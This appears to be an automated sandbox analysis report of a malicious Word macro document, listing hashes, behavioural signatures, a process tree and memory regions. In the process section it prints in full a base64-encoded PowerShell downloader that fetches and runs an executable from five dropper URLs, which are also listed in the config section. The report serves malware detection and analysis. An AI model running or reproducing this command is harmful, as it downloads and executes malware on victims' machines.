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Analysis

  • max time kernel
    119s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    28/05/2024, 20:16

General

  • Target

    7e42dee54b8cc2cff53756becd8438f8_JaffaCakes118.doc

  • Size

    232KB

  • MD5

    7e42dee54b8cc2cff53756becd8438f8

  • SHA1

    1074c1bff845f8980e0587af6a16b2f6d5aabbcd

  • SHA256

    5acdc51f8a9177986bc3daaff77ed37a67acfa55f6b76fc8f3170b02ecb68306

  • SHA512

    5e7abd2853fa40ddacb9e1cc65f6b4de198943a6c827bd9fd3de4de6e78955b31041c320c1bba5276889fe5851dbedaa34dffff995e739136bee047a3a00e8c1

  • SSDEEP

    3072:joj6yw1MgpQiBhGWb6esLbTh8YuyDRBFtdfGkvO5jNVwNjRA:0HgtEWPsL/aTyT9GkvO5jwNjRA

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://lotuspolymers.com/wp-includes/8twl_g_ov8/

exe.dropper

http://metheney.com/writehandservices.com/tkivf_6eio_dvgkj/

exe.dropper

https://www.sonoki-family.com/wp-content/s303_w_kikau/

exe.dropper

http://tecnofrota.net/cgi-bin/1_9alwl_mg9i4/

exe.dropper

http://geisterhouse.com/cgi-bin/zjs1s_bb_g/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7e42dee54b8cc2cff53756becd8438f8_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2240
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2400
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABYAHIAZgBiAG8AeQBlAD0AJwBSAHcAcgBvAGUANwBnACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAVQByAEkAdABZAFAAcgBgAG8AVABPAEMAYABPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABNAG8AcAAwAGwAawB6ACAAPQAgACcASwB2AGEAcAAnADsAJABIAG0AdQBfAHIANABiAD0AJwBSADgANQB3AGsAZwBpACcAOwAkAFMAYQA5ADYAZQB6AHUAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABNAG8AcAAwAGwAawB6ACsAJwAuAGUAeABlACcAOwAkAEgANgByAGMANwBoAGgAPQAnAEYAZwAwAHcAaABhAGYAJwA7ACQAVgAxADgAbQByAGgAaAA9AC4AKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBlAHQALgB3AGUAYgBjAGwASQBFAE4AdAA7ACQAUgBiADcAdABkAGQANwA9ACcAaAB0AHQAcABzADoALwAvAGwAbwB0AHUAcwBwAG8AbAB5AG0AZQByAHMALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvADgAdAB3AGwAXwBnAF8AbwB2ADgALwAqAGgAdAB0AHAAOgAvAC8AbQBlAHQAaABlAG4AZQB5AC4AYwBvAG0ALwB3AHIAaQB0AGUAaABhAG4AZABzAGUAcgB2AGkAYwBlAHMALgBjAG8AbQAvAHQAawBpAHYAZgBfADYAZQBpAG8AXwBkAHYAZwBrAGoALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHMAbwBuAG8AawBpAC0AZgBhAG0AaQBsAHkALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBzADMAMAAzAF8AdwBfAGsAaQBrAGEAdQAvACoAaAB0AHQAcAA6AC8ALwB0AGUAYwBuAG8AZgByAG8AdABhAC4AbgBlAHQALwBjAGcAaQAtAGIAaQBuAC8AMQBfADkAYQBsAHcAbABfAG0AZwA5AGkANAAvACoAaAB0AHQAcAA6AC8ALwBnAGUAaQBzAHQAZQByAGgAbwB1AHMAZQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHoAagBzADEAcwBfAGIAYgBfAGcALwAnAC4AIgBTAGAAcABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFIAaQB4AHUAOABnAHUAPQAnAFAAcABkADIANAA3AGQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFcAMABkAGUAYQBwADgAIABpAG4AIAAkAFIAYgA3AHQAZABkADcAKQB7AHQAcgB5AHsAJABWADEAOABtAHIAaABoAC4AIgBEAE8AYAB3AE4AbABPAGAAQQBkAGAARgBJAEwAZQAiACgAJABXADAAZABlAGEAcAA4ACwAIAAkAFMAYQA5ADYAZQB6AHUAKQA7ACQAUQB4AGYAXwB1AHUAdQA9ACcARABiADMAbAA2AHEAcwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFMAYQA5ADYAZQB6AHUAKQAuACIATABFAGAATgBnAFQAaAAiACAALQBnAGUAIAAzADIAOAA2ADgAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwAnACsAJwBrAGUALQBJAHQAZQAnACsAJwBtACcAKQAoACQAUwBhADkANgBlAHoAdQApADsAJABPADkAYgB0AHoAeABkAD0AJwBYAHEAcgBlAHEAMQBtACcAOwBiAHIAZQBhAGsAOwAkAEEAMAB2ADcAZwAxAGUAPQAnAE8AcAA2AHAAagAyAGYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATABfAGgAMABjAG8AMAA9ACcAQgB6AHkAZABkADkAegAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2416

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      0e2731c08cd7df56926e532e11320dca

      SHA1

      d6ba631e45b92d0f68ede5a78c4a67a56fcfc5b4

      SHA256

      403ab2dc5fcd926fd6c1871d708940160060e642bff77baa57e5fd1a9eead65d

      SHA512

      bf09df758452263d7945c71f7b8611878c96fbae97c8cfa8e69390a96765be368f50230ee3d5fc526fa0c84a7eb43f835ec4893bce83c773781c96c72851ace8

    • memory/2240-37-0x0000000005700000-0x0000000005800000-memory.dmp

      Filesize

      1024KB

    • memory/2240-2-0x000000007190D000-0x0000000071918000-memory.dmp

      Filesize

      44KB

    • memory/2240-6-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2240-7-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2240-8-0x0000000005D20000-0x0000000005E20000-memory.dmp

      Filesize

      1024KB

    • memory/2240-9-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2240-18-0x0000000005700000-0x0000000005800000-memory.dmp

      Filesize

      1024KB

    • memory/2240-27-0x0000000005700000-0x0000000005800000-memory.dmp

      Filesize

      1024KB

    • memory/2240-0-0x000000002F5B1000-0x000000002F5B2000-memory.dmp

      Filesize

      4KB

    • memory/2240-32-0x0000000005700000-0x0000000005800000-memory.dmp

      Filesize

      1024KB

    • memory/2240-69-0x000000007190D000-0x0000000071918000-memory.dmp

      Filesize

      44KB

    • memory/2240-68-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2240-38-0x0000000005700000-0x0000000005800000-memory.dmp

      Filesize

      1024KB

    • memory/2240-46-0x000000007190D000-0x0000000071918000-memory.dmp

      Filesize

      44KB

    • memory/2240-49-0x00000000004E0000-0x00000000005E0000-memory.dmp

      Filesize

      1024KB

    • memory/2240-51-0x0000000005700000-0x0000000005800000-memory.dmp

      Filesize

      1024KB

    • memory/2240-52-0x0000000005700000-0x0000000005800000-memory.dmp

      Filesize

      1024KB

    • memory/2240-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2416-44-0x000000001B410000-0x000000001B6F2000-memory.dmp

      Filesize

      2.9MB

    • memory/2416-45-0x0000000001F50000-0x0000000001F58000-memory.dmp

      Filesize

      32KB